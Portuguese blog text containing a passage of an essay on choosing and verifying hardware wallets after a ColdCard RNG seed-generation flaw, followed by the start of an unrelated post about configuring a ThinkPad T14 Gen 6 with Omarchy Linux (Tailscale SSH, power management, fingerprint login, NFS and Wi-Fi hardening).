Durante anos, hardware wallet foi tratada como o último porto seguro entre esses extremos. A Coinkite abalou essa confiança na categoria inteira. Não quer dizer que Ledger, Trezor, BitBox, Passport, Jade, SeedSigner e todos os demais estejam quebrados ou sejam equivalentes. Quer dizer que nome forte, secure element, air gap, código visível e anos de mercado não bastam. Eu não consigo mais apontar pra um aparelho e dizer: “compre este e durma tranquilo”. Você vai ter que fazer sua lição de casa.

NUNCA compre hardware wallet de segunda mão. Compre nova, diretamente da loja oficial do fabricante. Não economize frete colocando a poupança da sua vida num aparelho que passou pela mão de um desconhecido. Marketplace, leilão, OLX, eBay, “open box”, recondicionado e aquela oferta imperdível de um amigo estão fora de questão.

Quando o pacote chegar, não rasgue tudo e saia apertando botão. Abra a documentação oficial do modelo e siga a verificação de supply chain. A ColdCard usa uma embalagem serializada que evidencia abertura: o número aparece na bolsa, numa aba interna e no próprio aparelho. A Trezor documenta os selos holográficos de cada modelo. A BitBox combina embalagem selada com attestation criptográfica feita pelo aplicativo.

Confira lacre, cortes, cola, número serial, conteúdo da caixa e o mecanismo de autenticidade exibido pelo aparelho ou software oficial. Qualquer divergência encerra o setup: não conecte a seed, não tente “ver se funciona” e fale com o fabricante. O aparelho precisa chegar sem wallet inicializada e deve gerar palavras novas na sua frente. Seed impressa dentro da caixa é golpe.

E cuidado com a linguagem: isso tudo é tamper-evident, não tamper-proof. A própria documentação da ColdCard admite que uma bolsa pode ser atacada; a BitBox diz que embalagem perfeita não garante autenticidade. Lacre intacto é uma camada. Ainda quero attestation ou genuine check, firmware assinado, verificação do hash quando disponível e teste completo com pouco dinheiro.

Eu começaria por estas perguntas:

1. Qual é o threat model publicado? O fabricante precisa dizer contra o que protege e, principalmente, o que fica fora do escopo: computador infectado, aparelho roubado, ataque físico com laboratório, supply chain, firmware direcionado, coerção. “Military-grade security” não é threat model.
2. De onde vem a entropia, exatamente? Procure as fontes, como elas são combinadas e que testes end-to-end provam que o fluxo New Wallet chega ao RNG prometido. Suporte a dados ou entropia externa é útil, mas só se o mecanismo de mistura for documentado e auditado. O caso ColdCard mostrou que ter o TRNG correto dentro do binário não significa que a geração da seed o utiliza.
3. O código é realmente livre e o binário corresponde a ele? “Source available” com licença restritiva não é FOSS. Código aberto permite auditoria, mas não prova que alguém auditou. Build reproduzível permite que terceiros reconstruam o firmware e comparem o resultado bit a bit. Procure verificações independentes e atuais no WalletScrutiny, não apenas a promessa do fabricante.
4. Como a empresa trata quem encontra falhas? Leia a política de disclosure, escopo e valores do bounty. Procure advisories antigos, CVEs, post-mortems e a conversa com pesquisadores. Empresa que publica a falha, explica a causa, corrige rápido e agradece ao pesquisador merece mais confiança que uma com histórico supostamente “perfeito”. Às vezes ninguém encontrou vulnerabilidade porque ninguém competente teve incentivo pra procurar.
5. O que a tela confiável permite verificar? Antes de assinar, o aparelho deve mostrar endereço, valor, fee e troco. Deve conferir endereço de recebimento no próprio display, permitir entrada de PIN e passphrase sem entregá-los ao computador e registrar corretamente a policy de multisig. Secure element protege chave; não salva uma interface que faz você assinar sem entender os outputs.
6. Existe uma rota de saída sem o fabricante? Eu quero padrões interoperáveis: BIP39/BIP32 quando aplicável, PSBT e output descriptors. Quero exportar xpub, fingerprint e descriptor, usar Sparrow, conectar meu node e recuperar em outra implementação. Conta obrigatória, cloud proprietária e backup que só abre no aplicativo da empresa são lock-in em cima da chave da sua vida.
7. Como funcionam hardware, firmware e supply chain? Secure element, microcontrolador comum e signer stateless fazem trocas diferentes. Descubra o que persiste no aparelho e o que um atacante físico consegue extrair. Releases devem ser assinadas, ter changelog útil, impedir downgrade inseguro e receber manutenção por anos. Pesquise como o aparelho verifica autenticidade, como documenta embalagem e transporte, o que acontece se o servidor de update desaparecer e quais componentes fechados existem. Air gap também não é selo mágico: QR, NFC e microSD são parsers de entrada e continuam sendo superfície de ataque.
8. Você consegue restaurar sem improviso? Antes de colocar valor relevante, gere a wallet, faça backup, apague o aparelho e recupere. Confira fingerprint, endereço e uma transação de ida e volta. Em multisig, restaure o descriptor e prove que o quorum funciona sem uma das chaves. Backup nunca testado é esperança, não backup.

Eu também pesquisaria o histórico do repositório, issues de segurança, commits recentes, auditorias independentes e tempo entre vulnerabilidade reportada e correção. Buscaria pelo nome do modelo junto com vulnerability, reproducible build, seed entropy, multisig e responsible disclosure. Review de influenciador com link de afiliado serve pra conhecer a tela e o tamanho do aparelho, não pra decidir onde guardar patrimônio.

Pra valores pequenos, um signer comercial bem pesquisado pode ser muito menos arriscado que uma invenção manual. Pra patrimônio que muda sua vida, 2-de-3 com fabricantes e codebases diferentes continua sendo a referência, como recomenda o guia do Sparrow. Isso limita o estrago de um fornecedor comprometido, mas cobra mais backups, mais testes e uma policy bem documentada. Multisig que você não consegue restaurar é pior que single-sig bem cuidada.

Em alguns serviços de custódia colaborativa, uma empresa segura uma das chaves de um 2-de-3. Ela não deveria conseguir gastar sozinha, mas passa a conhecer dados da sua wallet e pode desaparecer, negar serviço ou complicar uma recuperação. Custodiante profissional também troca risco técnico por risco jurídico e de contraparte. No fim, você escolhe qual risco aceita carregar e qual entrega a terceiros.

O melhor que consigo recomendar não é uma marca. Escolha uma arquitetura proporcional ao valor e descubra quais falhas ela tolera. Antes de colocar dinheiro que faria falta, rode o fluxo inteiro com pouco: receba, gaste, apague um signer, restaure o backup e veja se você consegue voltar sozinho.

Conclusão

Self-custody tira o custodiante do caminho, mas deixa uma responsabilidade brutal no lugar. A confiança continua espalhada por silício, firmware, compilador, processo de build, wallet coordinator e pela sua própria disciplina. Hardware wallet continua tendo utilidade porque fazer tudo na mão é impraticável pra quase todo mundo. O erro é confundir essa ferramenta com garantia.

Eu não recomendo hoje uma marca específica. Prefiro distribuir o risco e criar maneiras de pegar falhas: fontes independentes de entropia, código livre, builds reproduzíveis verificados por terceiros, restaurações ensaiadas, signers diferentes e multisig quando o valor justifica e você aceita a burocracia. Single-sig com passphrase é uma escolha compreensível. Só não oferece a mesma tolerância a falhas. Faça essa escolha sabendo o que está delegando e o risco que decidiu manter com você.

Este pode acabar sendo um dos piores episódios da história da autocustódia em Bitcoin. Não porque alguém deixou moedas numa exchange vagabunda, digitou a seed num site de phishing ou instalou wallet pirata. Muita gente comprou um aparelho dedicado, anotou 24 palavras, guardou o backup em aço, manteve tudo offline e assinou por air gap. Fez exatamente o que a cultura Bitcoin ensinava como o procedimento correto. Mesmo assim foi pega por um bug nojento no instante mais importante de todos: a escolha da raiz.

Nos casos mais graves, o RNG reduziu o universo pra algo na casa de 2^40. O atacante não precisa tocar na ColdCard. Ele enumera os estados possíveis, deriva as árvores BIP32 e os endereços mais prováveis, consulta a blockchain pública e encontra quais candidatos têm UTXOs. Quando encontra, também tem as private keys pra assinar. A ColdCard pode estar desligada, sem bateria, sem USB e dentro de um cofre. Não faz diferença. Air gap protege o caminho entre signer e computador; não recupera entropia que nunca existiu.

Não havia alerta visível. A wallet recebia, assinava e restaurava normalmente até o dia em que outra pessoa reproduziu a mesma chave. Por isso 12 contra 24 palavras, air gap contra USB e secure element contra microcontrolador viram discussões secundárias quando ninguém testou se o botão New Wallet chamava o RNG correto.

Também mostra por que não aceito chamar negligência de black swan. O source estava aberto, o caminho era auditável e a cultura afastava parte das pessoas mais capazes de apontar problemas. Foi um cisne branco esperando alguém olhar na direção certa.

A lição não é abandonar self-custody. É parar de terceirizar entendimento. Estude o threat model, procure como a entropia é gerada, confira o histórico do fabricante, ensaie recuperação e saiba quais riscos continuam concentrados. Não confie cegamente em empresa, certificação, influencer, tutorial ou artigo. Nem neste aqui. Verifique.

Eu já movi meus fundos da ColdCard antiga. Na prática, se você tem qualquer ColdCard, faça o mesmo. Não existe prêmio por descobrir tarde demais que seu caso também tinha uma exceção não documentada.

Escolha a nova arquitetura com os critérios acima. Gere uma raiz completamente nova. Misture entropia independente de verdade. Teste o backup. Confira os endereços. Mova tudo.

Comprei um Lenovo Thinkpad T14 Gen 6 e instalei Omarchy em cima. Não é minha máquina principal, nem pretende ser. É companion: um notebook pra abrir em cima da mesa do escritório de impressão 3D, dar um SSH no desktop, chamar Claude Code, acessar arquivos no NAS, debugar rede pelo ethernet sem ficar procurando adaptador USB e cabo longo. Esse artigo cobre a escolha do hardware, o setup de Omarchy em cima, as customizações específicas pra notebook e pra esse Thinkpad em particular, e as decisões de arquitetura que podem não ser óbvias.

Mini-review do Thinkpad T14 Gen 6

Vamos tirar do caminho: esse não é o notebook dos sonhos. Se eu fosse escolher por estética, pegaria um Asus Zenbook S 14 com tela OLED. Se fosse por portabilidade, o Thinkpad T14s com casca de alumínio, que é mais leve e muito mais bonito. O T14 regular tem tela IPS 1920x1200 de 14", 400 nits, 60Hz, sem HDR. Dá pro gasto, mas está longe da tela do Zenbook. A casca é de plástico com um acabamento emborrachado, o que deixa ele resistente a arranhão, mas não é premium. Revisões da NotebookCheck e da XDA Developers batem na mesma tecla: bom custo, boa conectividade, desempenho adequado pra escritório, mas a tela é datada.

O que compensa:

• Seleção de portas. HDMI full-size. Ethernet gigabit. USB-A, USB-C Thunderbolt 4, carrega pelo USB-C (não é carregador proprietário). Pra um companion de debug, isso é exatamente o que eu queria. O Zenbook S 14, por ser mais fino, corta portas.
• Sensor de digital funcional no Linux (Goodix MOC, funciona com libfprint em kernel 6.11+). Isso eu uso, detalho mais à frente.
• Teclado Thinkpad. Curso de tecla de 1.5mm, trackpoint, layout clássico. Não é o melhor teclado do mundo em 2026, mas é confiável e durável.
• Carcaça rugged. Vai cair, vai arranhar, vai viajar na mala. Se eu colocasse um Zenbook OLED ou um Macbook Pro em cima da mesa do escritório de impressão 3D, ao lado da impressora, com poeira de PLA voando, eu ficaria nervoso. O Thinkpad pode levar porrada.

Se eu quisesse máquina de jogo, pegaria um Asus Zephyrus G14, meu favorito de notebook gamer. Se eu quisesse máquina de trabalho criativo, pegaria o Asus Zenbook Duo (UX8406) com duas telas OLED verticais, ótimo pra edição de vídeo e modelagem 3D. Tenho grana pra qualquer Macbook Pro ou Mac Studio, e escolhi não ir por esse caminho. Explico melhor na próxima seção.

Meu caso de uso

Meu PC principal é um desktop com Ryzen 9 7950X3D, 96 GB de RAM, RTX 5090 de 32 GB. É onde eu trabalho, experimento com modelos locais, rodo containers, edito o blog. Pra jogo, tenho um mini-PC separado com RTX 4090. Esses dois atendem 100% do que eu preciso fazer em casa.

O notebook existe pra cobrir o 1% restante: sentar no sofá, levar no escritório de impressão 3D, levar na cozinha, levar em viagem curta. Não é pra substituir o desktop. É pra ter acesso remoto ao desktop quando eu estiver longe dele.

Na prática fica assim: abro o notebook, dou split no Hyprland, janela da esquerda dá SSH no desktop principal, janela da direita é o próprio notebook. Mesmo Omarchy nos dois, mesmos atalhos, mesmo bash. O notebook vira extensão do desktop, não um ambiente paralelo que eu tenho que reconfigurar na cabeça toda vez que alterno.

SSH fora de casa: Tailscale

Dentro da rede local, SSH é trivial, o notebook fala com o desktop via IP interno. Fora de casa é outra história. Meu IP doméstico é dinâmico, abrir porta 22 pra internet é péssima ideia, e mesmo com DDNS e port forwarding você está colocando SSH na cara da internet pra qualquer scanner achar.

A solução que uso é Tailscale. Pra quem não conhece: Tailscale é uma mesh VPN baseada no WireGuard, que cria uma rede privada entre seus dispositivos (o “tailnet”). Cada máquina roda o agente, autentica uma vez, e passa a ter um IP fixo na rede privada (tipo 100.x.y.z). O tráfego entre seus próprios dispositivos vai direto peer-to-peer, cifrado pelo WireGuard. Não passa por servidor central da Tailscale, eles só coordenam NAT traversal. Resultado: do meu notebook num café em qualquer lugar do mundo, eu dou ssh hal9000 e caio no desktop de casa como se estivesse na mesma rede.

Existem opções mais sofisticadas: Cloudflare Tunnel com Zero Trust pra expor serviços publicamente com autenticação SSO, headscale self-hosted, WireGuard cru com config manual, Nebula, OpenVPN. Cada uma tem seu caso de uso. Se você precisa expor serviços pra terceiros, controlar acesso granular por identidade, rodar a infraestrutura inteira em casa sem depender de terceiros, essas opções ganham. No meu caso, é só notebook falando com desktop, por períodos curtos (não é trabalho de uma semana inteira, é debug rápido de fim de semana), então Tailscale grátis resolve. O tier free aceita até 100 dispositivos e 3 usuários, muito mais do que eu preciso.

Setup é o mais simples possível:

# No Arch/Omarchy
sudo pacman -S tailscale
sudo systemctl enable --now tailscaled.service
sudo tailscale up --ssh

A flag --ssh ativa o Tailscale SSH, que faz autenticação via identidade da tailnet em vez de chave SSH local. Uma vez fez login via browser no tailscale, cada máquina registrada pode entrar nas outras com base em política de ACL definida no painel admin. Zero key management.

Repito no desktop, faço login com a mesma conta, e pronto. As duas máquinas aparecem no painel (hal9000 e hal9666 na screenshot acima, com SSH habilitado nas duas). Do notebook: ssh hal9000. Do desktop pro notebook: ssh hal9666. Sem port forward, sem IP público, sem expor porta 22 pra internet. Se o notebook for roubado, eu removo ele do tailnet num clique.

Um detalhe prático: como o tailnet dá nome estável, eu adicionei entradas no ~/.ssh/config pra usar esses nomes curtos:

Host hal9000
  HostName hal9000
  User akitaonrails

Assim ssh hal9000 funciona de qualquer lugar que tenha Tailscale conectado. É a solução mais próxima de “it just works” que já vi pra SSH remoto.

Por que não um Mac

Eu não tenho uso pro macOS. Como dev, eu vivo melhor em Linux nativo. Toda ferramenta que eu preciso tem versão Linux de primeira, e no macOS eu teria versão de segunda via Homebrew. Não faço iOS, então não preciso do XCode. Pra mobile uso Flutter ou Hotwire Native, que rodam em qualquer OS. iTerm2 e Ghostty no Mac são bons, mas Alacritty, Kitty e o próprio Ghostty no Linux me atendem igual. Todo software bom chega primeiro no Linux, daí é portado pros outros. Arch com AUR cobre tudo num único yay.

Pra trabalho criativo, faz anos que não faço profissionalmente. DaVinci Resolve Studio no Linux é superior ao Final Cut Pro. Krita ou Affinity Photo substituem Photoshop na maioria dos casos. Clip Studio Paint no Android é superior ao Procreate. Eu simplesmente não tenho um workflow que depende da Apple, e a App Store me irrita.

Pra jogo, Mac é terrível. Apple Silicon tem GPU boa pra algumas coisas, mas a biblioteca de jogo pro macOS nativo é pífia comparada com Windows ou Linux. Game Porting Toolkit existe, CrossOver existe, mas pra quem joga sério, não serve. Eu não vou jogar no Thinkpad, pra isso tenho o desktop principal e o mini-PC com RTX 4090, mas se um dia bater vontade de rodar um Hollow Knight ou um indie num trem, é só instalar Steam e deixar o Proton fazer o trabalho. Linux virou plataforma de jogo de verdade nos últimos anos, com Proton/DXVK rodando quase todo o catálogo da Steam (checa ProtonDB). Inclusive documentei recentemente como rodei minha biblioteca de emulação em distrobox sem poluir o sistema host. Com Mac, essas opções não existem.

Outro argumento que sempre aparece: “mas um Mac Mini M4 ou Mac Studio com 128GB de memória unificada roda modelos grandes localmente, é o substituto do ChatGPT”. Já testei essa tese e escrevi um benchmark detalhado. A conclusão: hardware local caro pra rodar LLM é hobby de fim de semana, não é ferramenta de produção. Os modelos open source que cabem não entregam a qualidade que o Claude Opus entrega. Eu tenho um home server com AMD Strix Halo e 96 GB de RAM unificada, rodei modelos por dezenas de horas, e no meu fluxo real de programação eles servem pra tarefas simples. Pras tarefas complexas, Claude Opus. Antes de gastar os $4000 num Mac Studio com a justificativa de rodar modelos locais, faça o teste de verdade. Você provavelmente vai voltar a pagar Opus depois.

Por que Omarchy

Eu uso Omarchy no desktop há meses e documentei o caminho numa série de artigos. O Omarchy 2.0 tem instalador próprio com LUKS, Btrfs, Limine, snapper e SDDM já configurados. Escrevi sobre usar a ISO oficial, sobre as customizações de ZSH com atuin, starship, secrets bem organizados, sobre Mise pra múltiplas linguagens, sobre LazyVim e LazyExtras, sobre SSH e Yubikeys, sobre TUIs modernas. Também tem o Omarchy 3 com dual GPU AMD + NVIDIA e o Crush como agente de coding.

Pra quem não conhece: Omarchy é Arch Linux puro com uma camada de cosmética em cima do Hyprland/Wayland. Pré-configurado com defaults sãos. Eu podia montar tudo isso do zero, já fiz isso várias vezes na vida, mas por que refazer trabalho que alguém já fez bem feito? Instalo Omarchy, faço os tweaks que são meus em cima, e tenho Arch customizado numa fração do tempo.

Um ponto que eu levanto toda vez que recomendo Omarchy: a documentação é excelente. Tem um manual oficial que cobre desde instalação até customização de tema, keybindings, Hyprland, Waybar, tudo. Se você vem de Ubuntu ou Fedora e tem receio de Arch, esse manual resolve o grosso das dúvidas. Pra quem nunca tocou em Hyprland, abre ele e vai tangenciando. Não é um README jogado no GitHub, é manual de verdade, com capítulos e índice.

A história desse artigo começa num fio anterior. Eu migrei meu home server recentemente, trocando um servidor Ubuntu antigo por um Minisforum MS-S1 com openSUSE MicroOS configurado com Claude Code. Esse foi o primeiro experimento sério de deixar o Claude Code guiar uma migração de infra inteira, com containers, NFS, serviços, networking. Deu certo. E deixou no ar a ideia: por que não usar a mesma abordagem pra configurar um notebook novo?

Foi o que fiz. Peguei o Thinkpad, baixei a ISO do Omarchy mais recente, gravei num pendrive, instalei por cima do Windows. Do zero ao desktop funcional, menos de uma hora. Dali pra frente, tudo é tweaking, que eu fui documentando conforme fazia.

Vou detalhar as duas camadas de customização: o que precisa pra um notebook qualquer, e o que é específico desse Thinkpad.

Configs específicos de notebook

Um notebook tem problemas que um desktop não tem: bateria, suspensão, tampa, brilho, trackpad. Essas são as partes que Omarchy default não cobre do jeito que eu quero.

Power management com TLP

O default do Omarchy vem com power-profiles-daemon. Troquei por TLP, que dá controle granular de CPU scaling, thresholds de bateria e perfil dinâmico baseado em AC vs bateria.

sudo pacman -S tlp tlp-rdw
sudo systemctl mask power-profiles-daemon.service
sudo systemctl enable --now tlp.service

O mask é necessário porque o upower traz o power-profiles-daemon de volta se você só der disable.

Thresholds de carga: 60% pra começar, 85% pra parar. O notebook fica a maior parte do tempo plugado na mesa do escritório, e manter a bateria em 100% 24/7 detona a capacidade ao longo do tempo. Com 60/85, a bateria passa a maior parte do tempo na faixa saudável de lítio e ainda sobra capacidade útil decente.

Perfis: balanced com balance_power na bateria, performance no AC. O low-power do TLP era agressivo demais no Core Ultra 5 235U, a resposta de janela e terminal ficava perceptível. Balanced dá a melhor relação consumo/responsividade pra uso normal.

Tem uma pegadinha: tlp auto depois de tlp ac nem sempre reaplica o perfil de bateria. Criei um pequeno script ligado ao Super+Ctrl+P que lê o estado atual e chama tlp bat ou tlp ac explicitamente:

#!/bin/bash
set -euo pipefail

profile=$(cat /sys/firmware/acpi/platform_profile 2>/dev/null || echo unknown)
on_ac=$(cat /sys/class/power_supply/AC*/online 2>/dev/null | head -1 || echo 0)

if [[ "$profile" == "performance" ]]; then
  if [[ "$on_ac" == "1" ]]; then
    sudo /usr/bin/tlp auto >/dev/null
    label="Plugged in — back to AC auto"
  else
    sudo /usr/bin/tlp bat >/dev/null
    label="On battery — normal profile"
  fi
  notify-send -t 2000 "Performance mode: off" "$label" 2>/dev/null || true
else
  sudo /usr/bin/tlp ac >/dev/null
  notify-send -t 2000 "Performance mode: on" "Forcing AC profile" 2>/dev/null || true
fi

No waybar, um módulo custom custom/perf mostra o estado atual (󰓅 PERF, 󰌪 ECO, ou vazio pra balanced) e aceita clique pra alternar. O script de output é bem curto:

#!/bin/bash
p=$(cat /sys/firmware/acpi/platform_profile 2>/dev/null)
case "$p" in
  performance) printf '󰓅 PERF' ;;
  low-power)   printf '󰌪 ECO'  ;;
  balanced|"") printf ''       ;;
  *)           printf '%s' "$p" ;;
esac

Suspend, hibernate, e tampa

Isso aqui é o que mudou em relação aos notebooks que eu usava em 2015. O T14 Gen 6 fecha a tampa, suspende, e acorda quando você abre de novo. Sem bug, sem delay estranho, sem precisar dar login de novo no meio da sessão gráfica. O hyprlock pega depois do suspend, aceita digital ou senha, e volta pro desktop em segundos. Isso é o comportamento que a gente tem na Apple há anos e que no Linux era uma aventura. Em 2026, em hardware moderno com kernel 6.11+, simplesmente funciona.

Mem sleep mode é s2idle (sem deep sleep). Hibernação habilitada via swapfile Btrfs de ~30 GB e resume=/dev/mapper/root resume_offset=... no kernel cmdline do Limine. Raramente uso, mas está lá.

O hypridle tem timeouts agressivos pra notebook:

• 2.5 min → screensaver
• 5 min → lock
• 5.5 min → DPMS off + keyboard backlight off

Depois de trancado, passa mais 5 min e a tela apaga de vez. No unlock, restaura brilho de tela e de teclado pro nível anterior. Essas timings são muito mais curtas que as do desktop (20-40 min lá). A diferença de bateria ao longo do dia é mensurável.

Brilho e backlight de teclado

brightnessctl controla os dois. Fn+Space alterna o backlight do teclado em três níveis. Hypridle salva o nível atual antes de apagar e restaura no retorno. Comando que uso no script:

brightnessctl -sd '*::kbd_backlight' set 0    # salva e desliga
brightnessctl -rd '*::kbd_backlight'          # restaura

Touchpad

No hypr/input.conf:

touchpad {
    natural_scroll = true
    clickfinger_behavior = true
    disable_while_typing = true
    scroll_factor = 0.4
}
gesture = 3, horizontal, workspace

clickfinger_behavior troca o clique de 2 dedos como botão direito (mais confortável que acertar a zona inferior direita). disable_while_typing é palm rejection básico. Três dedos horizontais alternam workspaces, o gesto mais útil no Hyprland.

Configs específicos do Thinkpad

Aqui entra o que é particular desse modelo. Algumas coisas o Linux moderno já cobre sozinho, outras exigem configuração específica.

Sensor de digital

Goodix MOC 27c6:6594, funciona com libfprint 1.94.9+ em kernel 6.11+. Pacote é fprintd.

sudo pacman -S fprintd
fprintd-enroll                        # dedo indicador direito por default
fprintd-enroll -f left-index-finger   # outro dedo

Pro sudo aceitar digital, adiciono auth sufficient pam_fprintd.so acima da linha do pam_unix.so em /etc/pam.d/sudo. Com sufficient, se a digital passar, autentica direto. Se falhar ou se eu digitar ESC, cai pro prompt de senha. Isso vale a pena de verdade: dezenas de vezes por dia, sudo pacman -Syu ou sudo systemctl restart algo, e é só encostar o dedo.

No hyprlock, uso a configuração nativa do próprio hyprlock, não o PAM:

auth {
    fingerprint {
        enabled = true
        ready_message = Scan fingerprint or type password
        present_message = Scanning...
        retry_delay = 250
    }
}

A razão é que o caminho PAM dá prompt duplo. Configurado nativo, o hyprlock aceita digital ou senha, o que vier primeiro desbloqueia.

No SDDM (login inicial), deixei senha apenas. O motivo: a senha de login destrava o keyring do GNOME, e a digital não consegue fornecer plaintext pra isso. Depois que o keyring está destrancado, o hyprlock pode usar digital sem problema.

Na prática, o sudo fica assim. Encosta o dedo, autentica, segue.

Teclado brasileiro do Thinkpad

O teclado brasileiro do Thinkpad tem uma peculiaridade chata. A tecla /? fica na posição que seria o Ctrl direito (keycode 97), não na posição AB11 tradicional do ABNT2 (keycode 89). Se você usar o layout padrão br(abnt2), essa tecla fica inacessível. Literalmente não imprime nada.

A solução é o variant br(thinkpad) que existe em /usr/share/X11/xkb/symbols/br:

xkb_symbols "thinkpad" {
    include "br(abnt2)"
    name[Group1]="Portuguese (Brazil, IBM/Lenovo ThinkPad)";
    key <RCTL> { [ slash, question, degree, questiondown ] };
};

No hypr/input.conf:

kb_layout = br
kb_variant = thinkpad
kb_model = thinkpad60

E system-wide pra TTY/X11:

sudo localectl set-keymap br-abnt2
sudo localectl set-x11-keymap br thinkpad thinkpad60

Escrevi um pequeno Python que lê scancodes brutos de /dev/input/event* pra diagnosticar essas esquisitices. Útil quando uma tecla decide não funcionar e você precisa descobrir se é hardware, kernel, ou xkb.

Input method: fcitx5

Junto com o layout eu instalo fcitx5. Input method, pra quem não conhece, é a camada que transforma sequência de teclas em caracteres. É onde entram deadkeys (til pra nasalizar, acento agudo, circunflexo), composição de caracteres que não estão no teclado (ç, Ç, letras acentuadas em maiúscula), suporte a emoji. Em app Qt ou GTK, o input method também cuida dos menus de contexto pra cedilha e acentos.

Pacotes:

sudo pacman -S --needed fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt

E as variáveis de ambiente pros toolkits encontrarem o fcitx5. Criei ~/.config/environment.d/fcitx.conf:

INPUT_METHOD=fcitx
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
SDL_IM_MODULE=fcitx

O environment.d do systemd é carregado antes das sessões gráficas, então Brave, Alacritty, VS Code e qualquer GTK/Qt pegam automaticamente. Habilito autostart no Hyprland:

exec-once = fcitx5 -d

Digitando ~a vira ã, 'e vira é, ç funciona como deveria em toda aplicação. Num teclado Thinkpad brasileiro, isso é a diferença entre conseguir escrever em português com naturalidade ou ficar catando letra.

Áudio SOF

Codec Realtek ALC3306/ALC287 via Sound Open Firmware. Sem o sof-firmware, o módulo de kernel carrega mas o DSP nunca boota e o PipeWire cai silenciosamente pra auto_null. Resultado: você acha que o alto-falante está no mudo, mas na verdade o PipeWire não tem device nenhum.

sudo pacman -S --needed sof-firmware alsa-ucm-conf pipewire pipewire-pulse wireplumber

Se precisar forçar SOF em vez do HDA legacy:

echo "options snd-intel-dspcfg dsp_driver=3" | sudo tee /etc/modprobe.d/alsa.conf

Reload sem reboot:

sudo modprobe -r snd_sof_pci_intel_mtl
sudo modprobe snd_sof_pci_intel_mtl
systemctl --user restart wireplumber pipewire pipewire-pulse

Firmware updates pelo fwupd

fwupdmgr update funciona, mas com Limine tem uma pegadinha: o fwupd tenta escrever em /boot/EFI/systemd/ ou /boot/EFI/arch/, que não existem. O workaround:

sudo mkdir -p /boot/EFI/arch
sudo fwupdmgr update -y --no-reboot-check
fwupdmgr get-history  # deve mostrar "Success"

HiDPI / fractional scaling

Painel 14" em 1920x1200 numa resolução do Hyprland livre. O auto 1.5x do Omarchy ficava chunky demais. Fixei em 1.333x:

env = GDK_SCALE,1
monitor=,preferred,auto,1.3333,vrr,2

Efetivo 1440x900. GTK com GDK_SCALE=1 renderiza 1:1 com o Hyprland (não magnifica duplo). VRR mode 2 só em fullscreen, porque painéis LCD tendem a cintilar em conteúdo estático com VRR ativa.

Flags do Brave e Chromium pra renderizar bem nessa escala:

--ozone-platform=wayland
--enable-features=WaylandFractionalScaleV1,UseOzonePlatform,VaapiVideoDecoder,VaapiVideoEncoder
--enable-gpu-rasterization

O VAAPI faz diferença real na bateria em YouTube.

Tunando Omarchy pra ser meu

Omarchy vem com defaults bons. O que eu ajusto é no topo deles, sem tocar em ~/.local/share/omarchy/ (que é clobbered pelo omarchy-update). Toda customização fica em ~/.config/.

Infra: Btrfs, snapshots, Snapper

Omarchy já vem com Btrfs e subvolumes separados:

@home separado significa que ~/.cache, ~/.config/BraveSoftware, etc. não incham snapshots do root. Snapshot é de sistema, não de perfil.

Swap: zram de 4 GB com prioridade 100 (hit primeiro), mais swapfile de 30 GB com prioridade 0 (habilita hibernação, dimensionado pra RAM).

O stack de snapshot: Snapper tira snapshot antes e depois de cada pacman -Syu via snap-pac. limine-snapper-sync escreve esses snapshots no menu do Limine, então dá pra bootar num snapshot anterior pra reverter. Se algo quebra depois de update, você segura uma tecla no boot, escolhe o snapshot pré-update, boota read-only pra verificar, e se estiver bom, faz snapper rollback.

Omarchy deixa o snapper-cleanup.timer e o snapper-boot.timer desabilitados por default. Habilitei os dois e configurei retenção pra caber num SSD de 1 TB sem explodir:

TIMELINE_LIMIT_HOURLY=10
TIMELINE_LIMIT_DAILY=0
TIMELINE_LIMIT_WEEKLY=1
TIMELINE_LIMIT_MONTHLY=1
NUMBER_LIMIT=50

Um detalhe que custa debug pra quem esquece: Docker e Ollama escrevem gigabytes em /var/lib/docker e /var/lib/ollama. Se isso cai dentro de @, os snapshots catastrofizam. Cada imagem Docker ou modelo Ollama baixado triplica em tamanho. Criei subvolumes aninhados pros dois, com chattr +C pra desligar CoW:

sudo btrfs subvolume create /var/lib/docker
sudo chattr +C /var/lib/docker
sudo btrfs subvolume create /var/lib/ollama

Isso tem que ser feito ANTES de o Docker ou Ollama escrever dados. Se já tem dados lá, precisa migrar.

NFS pro NAS Synology

Meu Synology expõe três volumes. No desktop, monto normal. No notebook, tem que ser mais defensivo. O notebook anda, esquece a rede, conecta em WiFi público. Fstab do notebook:

nfs4  _netdev,noauto,nofail,x-systemd.automount,x-systemd.idle-timeout=10min,x-systemd.mount-timeout=15s,noatime,nodiratime,nconnect=4,actimeo=10,soft,timeo=30,retrans=2

Diferença crítica em relação ao desktop: soft com timeouts curtos (não fica pendurado pra sempre), x-systemd.idle-timeout=10min (auto-unmount quando ocioso), sem network-online.target no require (não atrasa boot). Resultado prático: cd /mnt/gigachad em casa monta lazy, fora de casa falha rápido sem trancar shell.

Outro detalhe importante: meu user no notebook tem UID 1026, que bate com a permissão do share no Synology. O Linux default cria user em 1000, o Synology impõe identidade via UID no fio. Se os UIDs não batem, você não consegue ler os arquivos, ou ainda pior, escreve como nobody. Rodei de TTY (com usuário deslogado) os usermod/groupmod pra remapear o user pra 1026/1026 e fiz chown -R em /home.

Hardening de WiFi público

Notebook vai sair de casa. Num aeroporto ou café, eu não quero anunciar hostname, não quero MAC rastreável, não quero serviço escutando porta aberta.

/etc/NetworkManager/conf.d/00-macrandomize.conf:

[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=stable
ethernet.cloned-mac-address=stable
connection.stable-id=${CONNECTION}/${BOOT}

ipv6.ip6-privacy=2
ipv6.addr-gen-mode=stable-privacy

MAC aleatório por scan (anti-fingerprinting passivo). MAC clonado estável por SSID (o portal cativo não te re-pergunta login toda vez) mas diferente entre redes. IPv6 com endereços temporários e interface ID derivado de segredo estável, não do MAC (sem vazar EUI-64).

/etc/systemd/resolved.conf.d/hardening.conf:

[Resolve]
LLMNR=no
MulticastDNS=no

Mata broadcast de hostname em LLMNR e mDNS. Também desabilito avahi:

sudo systemctl disable --now avahi-daemon.service avahi-daemon.socket

UFW firewall:

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw --force enable

SSH server já é off por default no Omarchy. Nada escutando. Mesmo que o firewall vaze, não tem superfície.

Tudo isso entra num único ritual de setup inicial.

Persistência de SSH agent (keyring + keychain)

